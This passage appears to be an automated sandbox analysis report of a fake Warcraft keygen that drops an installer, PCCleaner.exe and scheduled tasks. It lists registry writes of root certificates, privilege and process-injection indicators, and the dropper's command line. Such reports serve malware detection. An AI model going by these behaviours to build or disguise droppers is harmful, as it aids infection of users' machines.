571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd Snetchball.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d090000000100000042000000304006082b06010505070302060a2b0601040182370a030c060a2b0601040182370a030406082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000000687260331a72403d909f105e69bcf0d32e1bd2493ffc6d9206d11bcd67707390b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b660537f000000010000000e000000300c060a2b0601040182370a03047e000000010000000800000000c001b39667d601030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 Snetchball.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD Snetchball.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd Snetchball.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800001900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa20f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Snetchball.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 5c000000010000000400000000080000190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e76200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb65809000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650040000000100000010000000324a4bbbc863699bbe749ac6dd1d46242000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794 Snetchball.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
PCCleaner.exemsedge.exemsedge.exeidentity_helper.exeTfwkyr4mZm9Tlg8GKo8B.exepid process 2284 PCCleaner.exe 2284 PCCleaner.exe 2284 PCCleaner.exe 2284 PCCleaner.exe 4276 msedge.exe 4276 msedge.exe 2780 msedge.exe 2780 msedge.exe 3916 identity_helper.exe 3916 identity_helper.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
Processes:
msedge.exepid process 2780 msedge.exe 2780 msedge.exe 2780 msedge.exe 2780 msedge.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Tfwkyr4mZm9Tlg8GKo8B.exedescription pid process Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe Token: SeDebugPrivilege 4908 Tfwkyr4mZm9Tlg8GKo8B.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
Processes:
msedge.exe82dJZIn1O80q7ub68tFI.tmppid process 2780 msedge.exe 2780 msedge.exe 2780 msedge.exe 3504 82dJZIn1O80q7ub68tFI.tmp -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Tfwkyr4mZm9Tlg8GKo8B.exepid process 4908 Tfwkyr4mZm9Tlg8GKo8B.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
-warcraft-tft-keygen-F82Z5I7.exeis-UM0VH.tmpPCCleaner.exemsedge.exedescription pid process target process PID 5028 wrote to memory of 1928 5028 -warcraft-tft-keygen-F82Z5I7.exe is-UM0VH.tmp PID 5028 wrote to memory of 1928 5028 -warcraft-tft-keygen-F82Z5I7.exe is-UM0VH.tmp PID 5028 wrote to memory of 1928 5028 -warcraft-tft-keygen-F82Z5I7.exe is-UM0VH.tmp PID 1928 wrote to memory of 4768 1928 is-UM0VH.tmp schtasks.exe PID 1928 wrote to memory of 4768 1928 is-UM0VH.tmp schtasks.exe PID 1928 wrote to memory of 4768 1928 is-UM0VH.tmp schtasks.exe PID 1928 wrote to memory of 952 1928 is-UM0VH.tmp PCCleaner.exe PID 1928 wrote to memory of 952 1928 is-UM0VH.tmp PCCleaner.exe PID 1928 wrote to memory of 952 1928 is-UM0VH.tmp PCCleaner.exe PID 1928 wrote to memory of 3228 1928 is-UM0VH.tmp schtasks.exe PID 1928 wrote to memory of 3228 1928 is-UM0VH.tmp schtasks.exe PID 1928 wrote to memory of 3228 1928 is-UM0VH.tmp schtasks.exe PID 1928 wrote to memory of 2284 1928 is-UM0VH.tmp PCCleaner.exe PID 1928 wrote to memory of 2284 1928 is-UM0VH.tmp PCCleaner.exe PID 1928 wrote to memory of 2284 1928 is-UM0VH.tmp PCCleaner.exe PID 2284 wrote to memory of 2780 2284 PCCleaner.exe msedge.exe PID 2284 wrote to memory of 2780 2284 PCCleaner.exe msedge.exe PID 2780 wrote to memory of 3388 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 3388 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4656 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4276 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4276 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4600 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4600 2780 msedge.exe msedge.exe PID 2780 wrote to memory of 4600 2780 msedge.exe msedge.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\-warcraft-tft-keygen-F82Z5I7.exe"C:\Users\Admin\AppData\Local\Temp\-warcraft-tft-keygen-F82Z5I7.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-0TBQK.tmp\is-UM0VH.tmp"C:\Users\Admin\AppData\Local\Temp\is-0TBQK.tmp\is-UM0VH.tmp" /SL4 $801C6 "C:\Users\Admin\AppData\Local\Temp\-warcraft-tft-keygen-F82Z5I7.exe" 9672036 481282⤵
- Executes dropped EXE
